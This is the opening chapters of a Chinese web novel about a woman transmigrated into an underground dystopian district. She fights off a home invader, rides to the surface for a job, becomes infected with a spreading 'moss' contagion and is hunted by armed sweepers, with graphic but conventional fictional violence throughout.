《开局感染,我的黑化活命指南》
1. 终末17区
奚渚是被刺耳的枪声给惊醒的。
她爬起身,看向手心,遛狗绳和铲屎袋消失了。
继续环视四周,黑绿斑驳的墙体在持续生苔,以及狭小屋外轰隆震天响的枪/击声和人们持续不断的哀嚎惨叫,“我已经买下房子了!我不是流浪者!我有庇护所!别杀我!别杀我!”
她瞬间起身,瞅见了角落一把生锈的小刀,将刀立刻握在手中。
瞬间,完全的异样感通过手心冰冷的触感席卷大脑。
——自己这是穿越了?
而不论这地方到底是哪儿,她都不能无缘无故死在这儿。
她靠在门后,冷静观察着。
因持续生苔而腐蚀的老式日历挂在墙面上,不仔细看简直和墙壁融为一体。
奚渚眯着眼瞧过去——终末纪元7901年,15月47日,宜开市,忌出行。
这什么纪年纪月纪日方式?简直闻所未闻。
“嗵嗵嗵——!”
门突然被敲响。
站在门后的奚渚惊了一跳,伴随着门外越来越近的枪声,敲门声也逐渐不耐烦起来。
“17区苏伊地窟377庇护所,奚渚持有者,例行检查,请开门配合。”门外冷冰冰的女声响起。
“......”
“例行检查,请开门配合。”
“检查什么?”奚渚心道,这到底是什么地方,她想装屋里没人,可门外之人却一直不罢休,最后竟然直接拿枪托开始砸门。
她只得硬着头皮打开了一条缝儿。
面前是三个带着红色头盔的人。对方在看到奚渚的瞬间,就松开了握枪的手,随即一个打头的看了她几眼后一板一眼说:“377庇护所正常,无顶替情况发生。”
一头雾水的奚渚站在原地,看着对方突然伸出手来,踹开了门。
她狠狠摔在一边,而对方拿枪口直接压过来,“这种生锈的刀子,保不了你的命。下次门开快点儿。”
一行人渐渐走远。
奚渚站起身,紧紧关上门,惊魂未定,她看的十分清楚,头盔上写着一行“清扫者”小字,而枪上刻着枪的品类名称——清扫重压激光枪。
而自己要是一直不开门,就肯定会被爆头。
她看向自己手里的小刀,那个人说得对,这俩相比,简直是蚂蚁碰瓷大象。
她不了解现在的世界,而结合门外之人苦苦哀求的话和刚才那几个清扫者来看,似乎庇护所的有无就是这里的人能否存活的标志。
而那个清扫者所说的,自己是这座小屋的持有者,那么自己现在就是拥有庇护所的人。
想清楚这里,奚渚暂且松了口气,虽然什么都不了解,但起码有了一个可以暂时安全的地方。
而且,她也不是很想出去。
她蹲在墙角,盯着面前被甩开的刀,她一直处在高强度的紧张中,直到现在,枪声渐渐平息,自己遁入黑暗中,才能真正考虑眼前所发生的一切。
——这里不再是现实世界,而是随时都有可能被爆头的陌生世界。
那些清扫者没有再来,而现在最重要的是,她很饿。
她看向窗外,仍旧一片漆黑。
肚子又一次咕咕响。
她撑着身子站起来,突然,门再次被敲响。
奚渚头皮发麻,瞬间将手握到了门把上。
“小姑娘,我在隔壁看你好几天没出来,没发生什么事儿吧?”门外一个老爷子的声音响起。
奚渚思考了片刻,拿起刀。
——外面这人肯定不正常。
她继续开了条缝儿,门外的老爷子立马挤了过来。
可下一秒,比老爷子口中所说的话更快的是一把刺过来的尖刀。
奚渚率先动手,直接斩到了对方拿刀的手上。
而老爷子也不是善茬,本就是等那些“红狗”清扫者离开,看中这屋子的主人是个小姑娘,为抢房子而来,怎么可能现在退缩,他满脸狰怒,直接挥舞着双手抓过来。
奚渚没再给对方第二次机会。
这次,她直接刺到了对方眼里。
老爷子滚在地上,大声谩骂,“你个死娘们!快把你的屋子给我!给我!给我!你住着有什么用!”
在对方一直痛骂和满地打滚的过程中,门被二人冲撞开。
一阵呼啸的风过后,奚渚第一次看到了这个世界的全貌。
从上到下望不到头的世界中心被挖断成为巨大的深渊,数万间屋子如洞窟一样被挤压排列在深渊四周,混沌一片,无休止的庇护所抢夺战,远处不绝于耳的枪声,以及空气中丝丝缕缕奇怪的味道。
她将双手握到了松松垮垮的生锈栏杆上,勐地呼吸了一口。
而身后那个老爷子突然抓到了奚渚脚腕上。
她毫不留情,将对方“嗵——”一脚踹下了深渊。
她看了一眼昏暗的深渊,简直就像吃人的怪物。她再次回头,却突然看到地上有一张那人掉出来的纸。
她回到屋子。
反锁。
坐在地上。
将获得的两把刀摆在自己面前。
打开了那张纸。
【招聘启示:工作简单赚钱不少,同事友好福/利更多,17区HPP公司,欢迎您的加入!】
奚渚读了几遍,最终还是扔到了一边,她确实需要钱,眼看这个地方就是个末日,钱肯定是最重要的,否则那些人也不会没钱买房子而抢别人的。但她想找的绝不是这种一看就不对劲的工作,还什么福/利多,加班福/利多吧。
反正现在还有一个可以容身的屋子,找工作的事儿暂且让她弄明白这是个什么地方再说吧。
她仰躺在地上,这样会让她更有安全感,就在她躺尸躺到快睡过去的时候,突然脑子里“叮——”一声。
【本月房贷还剩四万姆拉,距离月末还款日仅剩两天】
“?”
【我是小黑,奚渚你好。】
“房贷?我不是这座屋子的持有者吗?”奚渚顾不上考虑这个系统是怎么回事儿,如果对方说的是真的,那么自己岂不是马上要无家可归变成流浪者?
【持有者并非所有人。】
奚渚明白了,自己等同于房客!还得给人打贷款才能住,“你是系统?”
【我是小黑,隶属脑内系统,奚渚你好。】
她站了起来,“如果我还不上房贷怎么办?”
【17区有专人负责启动搬离程序。】
“搬离是退租吗?”
【清扫比较合适。】
奚渚想到了那些被爆头的人,她可不想就因为丢了房子平白无故被射/杀。
她在心里估摸着,两天时间,到底要去哪儿弄四万姆拉,且不说对方说的是真是假,现在的奚渚,已经没有试错的余地。
“你有什么能找到工作的途径吗?”奚渚想了想,既然是脑内系统,那肯定知道的比自己多。毕竟这种末世,还是尽量少出门,最好做到一步到位。
【乘坐通道上窟之后,赚钱机会更多。】
“上窟?”
【此处为终末17区苏伊地窟第377户,上窟之后,即可到达17区表面。】
小黑说完,就在奚渚面前展开了一个蓝色悬浮屏,它提前筛选了几个工作。
奚渚认真看了看,都不太满意。
不是因为别的,而是这些工作都要求应聘人自行预支一/大部分钱给公司进行岗前培训。
奚渚是谁,上辈子996差点猝死噶在工位上的打工人,现在让她不赚钱还反过来倒贴,谁干谁是傻子。
突然,奚渚想到了那张招聘启事,那个地方也是在17区表面。
她重新打开那张纸,尝试着照上面的联系方式在小黑变出来的蓝色屏幕上按着数字,打了过去,“嘟——”
“您好。”一个女人的声音。
“您好,我想了解一下招聘工作。”
“您对我们的工作有意向是吗?”对方笑着说着。
奚渚看向招聘启事上的那一行小字,‘无需任何培训费用,每月准时发放工资,一个月试用期,不满意可随时退出,并且当日结算全部工资哦~’
对方没听见奚渚应答,自顾自地解释开来,“我们的工作非常轻松,时间也十分自由哦。”
“什么工作?”
“我们希望面谈呢,不过我们是正规公司哦,绝不需要缴纳任何费用。”
“每个月多少钱?”
“每个月五万拉姆。”
“七万!”
“五万五。”
“六万!”
“五万。”
“五万五,我今天就能去。”奚渚打断对方。
对面的女人轻笑一声,“好的,您确认抵达之
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后,请再次来电。”
奚渚挂断电话,呼出一口气,这份工作虽然奇奇怪怪,但工资却比刚才那些都要多。如果不合适的话,自己也可以在试用期结束之前找下一份。
想到这里,她已经下定决心。
自己要上窟。
***
她把唯一一个过期罐头装到包里,又将面前歪掉的空相框摆正,忽然想起什么。
她走到门口,拿起地上的两把小刀,握在手中掂了掂。
——出去一趟,还是得有个防身的准备。
“呼——”
奚渚推门而出。
她朝着小黑指引的方向走着。
空气中的奇怪的味道无处不在,根据小黑介绍的来看,如果吸入过多,则有人体感染的风险。
奚渚开始绕着螺旋状的地窟下楼,其间邻居们交头接耳,奚渚则从完全不隔音的墙外听到,昨夜有二十多个流浪者被监测到,清扫者直接清扫掉了。
在这一路上,奚渚默默捂上了自己的口鼻。
等到她走到通道时,站台上几百号人跟灰影一样,垂头站着。
“通道来了,通道来了。”
奚渚回过神来,绿色腐锈的远处,一个庞然大物滚滚而来。
周围的人挤到最前方,大家的目的和奚渚一样,都是前往17层表面,比起这里,那里的机会更多,起码一些零散的工作能够支撑起窟底普通人的温饱,更重要的是,那里有为数不多的“人造阳光”。
通道停靠,里面出来两个执勤打扮的人,手里斜握一个圆锥形银色武器,武器似是由很多个嵌合体组装而成。
奚渚瞟了好几眼,都分辨不出那是个什么东西,反正自己从没见过。
执勤者分立两侧,周围的人瞬间安静下来,方才还乌烟瘴气的站台立刻井然有序,奚渚排在最后,并不着急上车。
面前的通道是一个类似竹节虫模样的东西,十几条金属长腿被苔化变成绿色,上车的“腹部”位置只留一个口子,供行人紧密通行。
奚渚跟着众人上了车,挑了一个最角落的位置,这时小黑的声音立刻在脑子里响起:
【两小时后抵达17层表面。】
奚渚在脑子里和对方对话,“这个公司的信息再给我看一遍。”
脑子里瞬间有了十几行信息。
【HPP公司,位于17区日塔街17号,成立于终末纪元7801年,距今已有一百年的历史,该公司涉及业务十分广泛,主要针对17区越来越严重的苔化现象进行特别整治工作,旨在创造更加幸福美满的17区。】
“怎么整治?”奚渚还是有点儿好奇的。
【据官方通报来看......】
“行行行,我还是问你点儿别的吧。”奚渚叹了口气,一听官方通报就头疼,这几个字明晃晃地说明没有任何有用信息。
【您还想知道什么呢?】
“苔化是怎么形成的?吸的时间长了,真的会导致什么感染吗?”
【这个您无需担心。】
“为什么?”奚渚立刻想到自己难道带着什么净化值系统,那岂不是无需担心被感染。
【您的呼吸腔发育不完全,因此感染阈值目前为0,暂时无需担心。】
奚渚抬了抬下巴,原来是器官残缺啊。
“咳咳咳!”
突然身后传来猛烈的咳嗽声,奚渚正准备回头,小黑就猛地在她脑子里拉开警报。
【请保持安静!请保持安静!】
奚渚正准备脱口而出问为什么,耳边勐地剧烈擦过一阵烫人的热度。
她立刻听到身后有人在哀嚎,她慢慢转过身去,只看到车的另一侧已经完全被炸开了一个洞口。
而破烂座位之上,一个青年男子被炸掉了一/大半。
而对方的脸,已经开始弥散腐烂,流着绿色脓液。
男人捂着腹部的血窟窿,肠子血水一个劲儿流出来,他大声求饶,“别杀我!别杀我!我感染值很低!不会异变的!”
又一击激光枪,那人瞬间被打了个粉碎。
一块儿带着霉菌的皮肤炸到了奚渚脚下。
执勤者的声音不近人情地响起,它冷冷地看向这些17区的窟底人,“苔化者已处理,通道内请保持绝对的安静。”
奚渚看向时间显示器,“还有半个小时,就可以下车。”
2. 协调者
空气中满是烧焦的气味,皮肉仿佛被烤熟一样,混杂着发霉的味道直冲奚渚鼻腔里。
系统的警报还在脑子里不停地拉,似乎很害怕奚渚猛地站起身被爆头。
她趴在座位上,看着几米之外的两个执勤者,它们正在有条不紊地“善后”。
车厢里十分安静,因此皮肉在拖行中裂开的咕嘟咕嘟声便尤为刺耳。
奚渚观察着,这种情况之下,一定不能慌,只要符合“正常”反应就行。
而在她看不见的身后,一个执勤者突然走到了她的后方。
在察觉到有人靠近的瞬间,奚渚只觉得脑袋发麻,但她仍旧强迫自己冷静下来,思考着执勤者会问自己什么问题,抑或是自己应该怎么正确回答。
一双机械脚停在了自己面前,随后便是无法分辨不出男女的声音,从面罩之后冷漠传来,“请出示上窟许可。”
没错,所有正常人上窟必须取得相应的证件,与之对应的,苔化感染者则无法取得上窟资格。
奚渚在确认要上窟之后,就在小黑的帮助下很快取得了许可,但有一点让她疑惑的是,电子许可证办理时如何知晓屏幕之外的人是谁呢?
但现在,奚渚大概清楚了。
因为面前的执勤者在自己点头同意的瞬间,就“扫描”了她的大脑,从中找出了许可证的痕迹。
听起来非常神奇,被“扫描”,或者是被“看”到的自己立刻感受到了某种脑电波同步,而在奚渚发觉对方不怀好意时,就立刻想切断“同步”。
面前的执勤者轻晃了一下,随后便悄无声息地离开。
在奚渚看不见的地方,对方正不知给谁汇报着。
——协调者出现,数值波动较大。
通路在一路安静中终于抵达,奚渚仍然走在最后,却一个不留神,撞到了一个灰扑扑的女孩儿。
对方裹得十分严密。
“不好意思。”奚渚把她扶起来,而女孩什么也没说,急忙和奚渚擦肩而过。
——好奇怪。
但接下来眼前所见的一切却容不得奚渚再考虑刚才那个小插曲。
通路之下,是巨大的弥散光弧站台,而最吸引奚渚注意力的,则是不远处严密巡逻身穿白衣的执勤军。
所有乘客都不约而同地绕过那支森严冷峻的军/队,朝着唯一的出口走去。
奚渚跟在众人身后,入目所见皆是完全有别于窟底的一片昏暗的白色人造光线。
出口处人不多,但执勤军却十分多。
奚渚看了一眼站台不远处临空挂着的巨大电子表,显示39:00整。
她盘算了一下,据小黑说这里一天有着49个小时,那么今天还剩10个小时。
奚渚在心中暗道,“回程的通道已经停发,最早也得等到明天,所以不论面试是否顺利,都需要在面试之后找一个居住地。”
她摸着手心的背包,一切都准备好了。
“下一个。”执勤者看向奚渚,示意她走近。
奚渚却立刻注意到执勤者提了一下手中的枪。
“不对劲。”
这样的念头突然出现在她脑子里。
但她依然不动神色,冷静地分析着局势,如果这些人是针对自己,那么仅凭自己一定跑不了,对方手里的那把枪只需要轻轻一扫,自己马上就会和车上那个人一样直接被炸个血肉模糊。
她握紧了双手,继续不动声色地走过去。
“滴-滴滴-滴-滴-滴滴”
如史前巨/物残骸一般的白色骨架仪器莫名地响了几声之后便再无响动,奚渚通过余光扫视着周围,那些执勤者的手似乎攥的更紧了。
“站住!站住!”另一侧突然传来怒叱。
一个灰黑色的影子飞速掠过奚渚面前,直接冲着残骸之外冲了出去,身后执勤者持续警告着,“封/锁B出口,如果无法拦截,直接清扫!”
身后乌泱泱的执勤军瞬间动作起来,朝着“逃窜”之人的方向汇聚,几十个枪口黑压压从奚渚面前奔走而去。
奚渚突然闻到了空气中加重的霉菌味道,而另一方面,她也立刻松了口气,方才一直缠绕在自己身上的窥视感消失了。
不知为何,她远远地向灰影掠过的方向瞧着,只希望对方能够成功逃脱。
“上窟。表面。阳光。没有苔化。没有感染。”
奚渚跟在众人身后,耳边只能听到这几个重复的词汇,安检之后,便是一条长到望不到头的黑灰隧道。
隧道墙壁上每隔五米便放置着一个红色感应灯,看起来十分让人不适。
小黑的声音在脑子里解释着:
【这是苔化感应器,如果被监测到有人感染,三秒之内就能把肉/体削成碎泥。】
奚渚抽了抽眼角。
突然!
身边的一/大群人乌泱泱开始疾跑,她在一群人中被推了个趔趄,刚站稳身子,就又被猛地推了一下。
这次,她直接被推/倒在地,片刻间,四周就充满了纷踏的双脚。
她率先反应过来,抱住了自己的脑袋,寻找缝隙想要站起身,可不知为何,这些人仿佛害怕身后什么东西一下,着魔一般地往前冲。
她只能找到一个角落暂时护着头躲着。
“嘭——!”
一声枪响,所有人被迫停在原地。
随即便是响彻整个隧道的连续射击声,久久环绕。
“安静!”
在众人宛如弯弓绷紧疾停的瞬间,一个执勤兵走了出来。
对方看起来跟普通的士兵完全不一样,胸口处独有的黑色标记彰显它一定是位长官。
那人对着前方拥挤的人群直接开口,“方才在后方大家知道发生什么了吧。”
距离比较近的几个人迫于压力点了点头,奚渚看过去,那几个人脸上毫无血色,似是被吓破了胆。
奚渚则一头雾水,方才发生什么了?
她环视四周,每个人颤颤巍巍,看起来只有自己不清楚。
长官提着长/枪,磕磕磕碰在地上,她冷漠开口,“17区全体执勤军非常欢迎大家上窟来到表面。但我们禁止有任何人掩藏自己感染,企图在安检时蒙混过关。”
对方说到这里,奚渚已经明白了,看来是刚才有人浑水摸鱼。
她并不想知道对方这么做的原因,而是更好奇对方是怎么做到的。
长官敲了敲枪,身后立刻出来一个执勤兵,手中拖着一个被打到狼狈不堪但尚且还有一口气的人。
它把那人的脑袋拽起来,使得这个“罪犯”的脸完全暴露在众人的目光下。
奚渚看向那个人,发现此人并不是方才那个偷闯安检的人,她松了一口气。
长官举起那人的胳膊,向着所有窟民发布最终通知,“既然有了浑水摸
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鱼之人,那么今天大家要等我们一个一个检查完才能上窟。”
瞬间人群中发出阵阵惊呼。
但命令就是命令,即使再怎么不合理也没有敢第一个站出来反对。
奚渚呆在人群中,死死盯着那个人的手腕。
正常人的手臂上什么都没有,但面前这个苔化感染者的手臂上却有一条非常明显的暗绿色细线,从小臂直通手心。
——这就是苔化感染的证明吗?
她看到队伍前方的人一个个撸起袖子,颤/抖着等待检查。
——还有很多个人才轮到自己。
奚渚看向前面的执勤兵,低下头慢慢将自己的袖子撸了起来。
什么都没有。
她立刻松了一口气。
与此同时,人群最最左侧毫无预兆地“嘭——”一声。
有一个人被直接爆头。
所有人愣在原地,有的甚至受不了遍直接跪下,开始祈祷。
奚渚这才发现,这些人换了枪。
并非一开始所见的那个圆锥状激光枪,现在他们手中持握的是普通的火/药/枪,威力并没有之前那种枪大,但是...
威慑却十分奏效。
奚渚抬起头,看向在远处站着的那个长官,对方正在死死盯着所有人。
突然,视线扭转,它立刻注意到了人群中的奚渚。
奚渚瞬间低下头。
——自己来这儿是找工作的,不要惹别的麻烦。
之后再没有人被就地“处决”。
身前的人被检查完,没有任何问题。
执勤兵走到奚渚面前,要求查看手臂。
在奚渚看来,对方几乎没有任何低头看的幅度,仅仅只是在自己面前站了几秒钟,就表示没有问题。
奚渚松了一口气,这下应该能出去了吧。
“伸出手腕。”执勤兵的声音突然在奚渚身后响起。
“伸出手腕。”对方又重复了一遍。
“三”
“二”
“一”
直觉告诉奚渚不要回头看,可她还是没有忍住朝后扭头。
“嘭——!”
奚渚被溅了满脸的血,浑身上下挂着陌生人碎肉和粘液的她瞬间想吐。
可执勤兵只是看了她一眼,就继续朝后方走去。
“嘭——!”不远处又一声。
“好了,检查完毕。”长官立刻发话。
现在的场面让已经十分整齐有序,它对着这些窟底之人开口道:“祝大家上窟愉快。”
执勤兵刷一下列阵,而所有人也不再拥挤。
他们绕过它们,朝着出口走着。
奚渚跟着人群,任由执勤兵与自己擦肩而过。
所有人都没有了刚来时的兴奋,他们只想要快点出去。
终于,面前就是17区表面。
只要再踏出一步,找到工作地点,就可以开启自己日复一日的安全打工生活。
奚渚从没有比此刻更觉得穿越之前的生活“安稳”的了,照这种发展顺序,谁知道下一个死的是不是自己。
快点!
再快点!
“喂,你看到了吧。”突然,身后的黑暗中传来一个女声。
奚渚一脸冷漠,没理对方。
“你明明看到了,那些后来被处决的人的胳膊上明明什么都没有。”
3. 缺陷感染
奚渚权当身后之人是空气。
那人仍旧在身后喋喋不休。
拥挤的人群霎那间散开,自隧道涌出之后,奚渚就进入了一片宽阔的黑暗地界。
面前黑漆漆一片,入目所见的17区表层皆是起伏不平的洼地,洼地之间,坐落着或紧或密的造型奇异的建筑群。
建筑群紧紧挨着,从远处眺望,奚渚只觉得它们像一个个黑黝黝的巨大蚂蚁窝。
她记得面试公司的地点,17区日塔街17号。
现在要做的,就是找到这个地方,因为脑子里又开始播报“房子回收”之类的话。
身后那个人凑了上来,还是那套话,“你看到了吧,那些人的胳膊上明明什么都没有。”
奚渚不懂对方为什么要缠着自己,她确实看到了,但那又如何,和自己有什么关系。
难道要做出头鸟,大声斥责那些执勤兵你们没长眼,逮着人就爆头?
她可不会做这种脑子有病的事儿,死皮赖脸的活着,也比两眼一黑死了强。
“你明明看到了!为什么不承认!”那人仍旧阴魂不散,奚渚走哪儿她跟到哪儿,“你个胆小鬼!那些联盟走狗的走狗!”
奚渚直接转过身,一脸冷漠,对身后这个叽叽喳喳的女孩儿道:“我看到了又怎么样?跟我有什么关系。”
那人被呛住了,半天呆在原地手足无措,连一句完整的话都再没有说出口。随后她一甩袖子,裹在面罩之下的眼睛深深瞧了奚渚一眼后便叱责道:“我以为你会不一样!”
随后便直接朝反方向离开。
奚渚一头雾水,不过也多亏了自己转过身才认出来,这个女孩就是方才自己撞倒的那个人。
奚渚看了一眼就转回身,继续朝着人流的方向走着。
那儿肯定会有什么交通工具,不然光凭两条腿,自己得找公司找到什么时候。
几分钟后。
一个硕大的蓝色电子屏屹立在半空中,琳琅满目的扭曲文字唰唰唰变换着,奚渚皱了眉,看不懂啊。
她明白这东西一定是个显示屏,但具体是显示什么,她猜不出来。
正当这时,方才那个叽叽喳喳的女孩儿又蹦到了奚渚面前,“你看不懂对吧!你要去哪儿,你求我我就告诉你!”
奚渚转身就走。
“有病吧。”
对方却突然急了,连忙拦住奚渚,“你是第一次上窟吧!”
奚渚没承认也没否认。
在这地方,不要相信任何人。
对方解释着,“这是联盟文字,只对每个联区的地表实行,你不认识很正常?”
“联盟?”
对方一脸看傻子的表情,“你在窟底呆的傻掉啦!联盟啊!整个地下十七个联区,我们现在就处在联盟17区。”
“地下?”奚渚在脑子里搜刮着,确定自己并不知晓这些,而小黑也从没说过自己现在是身处地下,所以才看不到太阳。
原本奚渚以为自己只是穿越到了环境恶化之下的末世,谁曾想自己竟然跑到了地下。
她叹了一口气,这下可真成“地心人”了。
“我要去日塔街,该坐哪趟车?”虽然对方看起来十分不靠谱,但现在能问的人只有她了。毕竟就在二人说话的间隙间,周围的人也消失了个一干二净。
“日塔街?”女孩再次确认了一次,随即仰头看向空中的屏幕,在十几下急速的滚动中,突然看到了什么,“有了!这边儿!”
奚渚立刻将刀子反手握到衣袖中。
在七拐八扭后,二人站到了一个“垃圾堆”里,周围堆着十几米的高的各种金属,在其中站着,鼻尖立刻闻到了刺鼻的铜铁味道,“真是这儿吗?”奚渚心中暗道,这个人不会把自己拐到什么地方,直接解剖了吧。
就在她思考的瞬间,远远的半空中,吭哧吭哧飘过来一辆完全看不出是车的车。
——没有司机更没有门,而刹车竟然是直接撞到铁山里,哐啷停下。
“呦!坐车!”一个女人打着招呼道。
车里的女人斜斜眼皮,指了指自己腰间的挎包,“日塔街70姆拉。”
奚渚掏了掏衣兜,真是比脸都干净。
“你没钱啊,我给你付!”身旁的女孩嘻嘻笑着,“不过!你得三倍还我哦!”
奚渚随口胡扯,“得等下个月,我现在没钱。”
女孩拉着奚渚上了车,仔细一看,车里竟然连座位都没有,二人只能在角落站着。
车上只有依稀三四个人影,连带一个售票员。
“吭哧!吭哧!”
破车开始艰难发动,女孩儿突然开始跟售票员搭话,“怎么不换一辆啊,这种旧型号,现在都没人坐啦!”
“死丫头,你当钱是大风刮来的喔!说换就换!”售票员剔剔牙,斜楞一眼奚渚二人,接着道:“17区就这德行,联盟最底层,什么都比不上别的联区,你还想换东换西,有这么一辆能跑的就算烧高香喽。”
奚渚听着二人的对话,原来自己所处的17区竟然是最“底层”,她不禁问道,“那怎么上16区?”或者是去别的区?
但面前的二人突然脸色一沉,奚渚也将后面的话咽了回去。
身旁的女孩突然岔开话题,“你可别想那些有的没的,我们普通人是不允许去别的区的,你好好在17区呆着就行。”
话音未落,奚渚很想问对方你为什么知道的这么清楚,还没等她开口,“轰隆——”一声,车身哐一下回旋反转,直接砸进了金属山堆里。
随后,猛地极限下坠。
刺啦——!
一条螺旋铁直接割开了奚渚的手腕。
她攥着自己流血的手臂,拨开面前成堆的铁砾,从铁山之中爬出来。
好不容易找到一个落脚之处,她立刻抬头向上看。
整个车已经淹没到了铁山之中,吱吱呀呀凭空晃悠着,车体被完全掀翻,烈焰熊熊燃烧,整个头顶上方被红海笼罩。
——人呢?
奚渚环视四周,却怎么都无法找到车里的那几个人。
她晃晃悠悠,啪一声栽倒在地,在一阵迷茫中奚渚眨了眨眼,却发现是自己看不清。
一股温热的液体顺着脑袋流到了她眼睛里,她伸手抹了一下,满手的血。
“救我!救我!”有人在声嘶力竭地喊着。
“大概是撞到脑袋了,必须保持清醒。”奚渚直接甩了自己一巴掌,瞬间眼前清明了一阵。
她顺着声音来源望过去,不远处的铁山角落处,售票员已经被拦腰截断。
奚渚吐/出一口浊气,望着售票员一眼,,“没救了,售票员没救了。”
奚渚能清楚感受到自己正在严重失血,而且脑袋上的伤口也一定不小。
她已经分不出精力来思考刚才是怎么回事儿,现在自己最重要的是离开这里,以免那辆破车掉下来砸死自己。
谁能想到出来找个工作竟然这么难?还有生命危险!
她趴在原地,模糊中望着那个售票员,却是在问自己,“该怎么办?”
金属堆上轰一声巨响,烈焰燃烧的车开始脱落。
瞬间无数铁屑砸到了奚渚面前。
“不能在这儿了,不然待会儿就会被活埋。”想到这里,奚渚强忍刺痛站起身,开始寻找出口。
镂空的铁屑,胡乱搭着的金属山,看起来毫无规律。
突然,角落处一个黑黢黢的小洞吸引了她的注意力。
她托着自己的胳膊走了过去。
弯腰。
爬进去。
深呼吸。
摆好受伤的胳膊。
再次深呼吸。
仔细一看,角落竟然有别的人!
奚渚瞧了一眼,是那个女孩儿,对方正瑟瑟发/抖,双眼空洞,一条声重复呢/喃,“别杀我,别杀我!”
“你到底
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是什么人。”奚渚有气无力地问向对方。
女孩仿佛行尸走肉,一双眼空洞地盯着自己的手腕。
奚渚顿时觉得不好,立刻抓过对方的手臂,谁知对方却开始死命折腾,在推搡中,女孩的衣服被直接掀开。
奚渚立刻看到了女孩小臂上深绿色的细线,直通手心。
奚渚瞬间明白了,为什么那些执勤军要抓她。
因为对方感染了!
但她是如何躲过第二道检查的?
奚渚正要开口问,就听到洞外“嘎吱”一声。
有人来了!
“砰——”!
苟延残喘的售票员被直接打爆。
从枪声之下的脚步声来看,大概有三四个人。
“怎么回事儿,种子去哪儿了?”一道懒散的声音徐徐响起。
“明明就在那辆悬车里啊,受了伤还能跑这么快?不愧是新型种子啊。”
另一个男人吸了一口烟,抱怨着,“都说了别直接在半空打!现在好了,落到这里还得找!直接在目的地让17区那几个猎人解决不就好了,非得专门跑一趟!害我喝酒的时间都少了啊!”
奚渚又往深处躲了躲,不论如何,这些人一定来者不善!
绝不能让这些人发现自己和身边这个女孩儿,否则大家一定活不成。
“早解决早结束,别抱怨了,赶快清除,今天就能回10区。”
那人叹了一口气,“唉,开干!”
“小黑!小黑!”奚渚在脑子里呼叫着系统。
可小黑就跟死了一样,没有半点儿动静。
女孩已经完全魔怔了!奚渚把对方的袖子重新盖下来,遮住她小臂上的细线。
在极度黑暗中,奚渚听着那些人翻翻找找,兴奋来了又愤怒消失。
她等了很久很久,才小心翼翼爬到洞口不远处。
什么声响都没有。
“走了吗?”
可下一秒,一只大手就直接掏进了洞里,死死拽住了奚渚。
“不好!”她很想转身让那个女孩快跑,可还没来得及说出口,整个洞就被直接爆破,瞬间坍塌,而奚渚则被无数金属碎骸死死砸在地底。
在一片混沌中,她听到远处“嘭——”一声巨响。
之后便是戛然而止的女孩的惨叫。
奚渚拼尽全力睁开眼,看向火光弥漫处,“不是说好下个月还你钱吗?”
***
再次睁开眼,奚渚浑身上下没有一处不疼 尤其是脑子,似乎忘了什么东西。
胳膊上一摸全是血痂,她将袖子立刻弄了下来,却没管胳膊上传来的微小刺痛。
她随意找了一个路人问了一句,现在是什么时间。
对方一脸看傻子的表情,“15月48日。”
——自己就在这儿睡了一晚上?
随后她又问道:“你能闻到什么东西吗?”
路人一脸嫌弃,“哪儿来的神经病!走开!”
奚渚还是不放弃,这次她直接伸手拽住了对方,“你闻不到,总能看到吧!”
“地窟的疯子!别拿你的手碰我!小心我把你举报到清扫者哪儿去!让你上来吃不了兜着走!”
奚渚瞪大了眼睛,完全不理会对方的愤怒。
路人身后,巨大的绿雾正在四处弥散,以及空气中如此浓重的霉菌味道,而这个人竟然说什么都没有!
她立刻扒开自己手腕!
赫然一道深绿细线。
“感染者!感染者!”路人看到奚渚手臂上那条细线的瞬间,就开始大喊!
奚渚反手一扭,就直接将那人砸到了金属堆里,实行物理“超度”。
她看着不远处HPP公司的巨大黑色标志,又看向通道的方向,没有丝毫犹豫,捡起一个铁屑就划开了小臂,她叹了口气,“自己回不去了。”
——既然回不去,那么就必须在17区表面活下来!
4. 追捕
日塔街主干道。
一位清扫者刚把手中的枪放下,耳朵中就猛地传来一条新指示。
“感染者出现,距离目标500米。今日特殊情况,值班的队伍尽快清扫掉。”
她认命地把红头盔重新戴到头上,随即深深地叹了一口气,但手上的动作却没有丝毫懈怠。
“感染者必须处理掉,一个活口都不能留。”带着这样想法的戈乌开始向同伴所在的方向汇聚。
清扫者出动的时候必须三人一组,这不仅是她们的规矩,更是所有联盟军外出时的规矩。
队长在不远处补充着营养水,她显然已经知道了情况,看见戈乌过来的瞬间就收拾好了武器。
“500米,要不要比赛,看谁先杀了她!”另外一个男性队员甩着头盔,松松垮垮地挂着武器,满脸亢奋提议道,“怎么样!我赌两万姆拉!”
戈乌率先不赞同,这样做只是浪费时间浪费资源,但又碍于对方是前辈,所以她并不敢反对。
队长转过身来,看向男队员,随口道:“好啊,可以。”
男队员立刻惊呼,似是没想到队长会真的同意,他早就看这个空降而来的女队长不顺眼了,自己这次一定要挫挫她的锐气!
“你还不走吗?”队长的整张脸被蒙在头盔之后,除了毫无感情的声音外再无从判断她此时的表情。
“两万姆拉!我赢定了!”
***
戈乌看着同伴消失的背影,担忧问道:“队长,这样好吗?这是在违反联盟规定吧。”
“是吗?”队长不咸不淡地说。
“所有队伍在外出时都应该三人或三人以上一组,其目的是防止感染者突然异化,造成盟区不必要的损失!这项规定不论是咱们清扫者,还是各个盟区的执勤者,就连...就连那些猎人也必须遵守啊!”戈乌小心翼翼地解释道。
“那么,不遵守这样规定的人会怎样?”队长反问道。
“两个月禁闭,并前往污染区受罚。”
“那不就好了吗,还有什么不懂的。”队长率先迈步,走向完全相反的方向。
戈乌张大了嘴巴,一脸震惊地看向队长的背影。
——对方难道是故意的吗!
***
“一个上区来的关系户!竟然敢命令老子!要不是看她是个女的!老子早就踹上去了!清扫成绩第一又怎么样,要是她没来,当队长这事儿早轮到我了!”男队友已经走到了居民区,他随意找了户人家,二话没说,上去就踹了一脚玻璃。
门被缓缓打开一条缝儿,门内之人双手极速搓动着,“哈利斯大人!您不是昨天才检查过嘛!家里什么异常都没有!我都听您的话了,值钱的东西一个不留,全交给您保管,目的就是为了防止窟底来的那些人手脚不干净!”
哈利斯冷哼一声,“这条街有异常吗?”
门内之人嘶嘶两声,“这个!小人没有看到呢!”
“快说!说了下次就不检查你家。你知道的吧,不检查就意味着某些东西我可以让你留下。”哈利斯顶了顶牙。
“今天早上,有一个从女的,从铁山里爬出来了!样子非常不正常,我一看就知道她是个蔫儿坏的!正准备给哈利斯大人您汇报去,但您就瞬间出现了!”
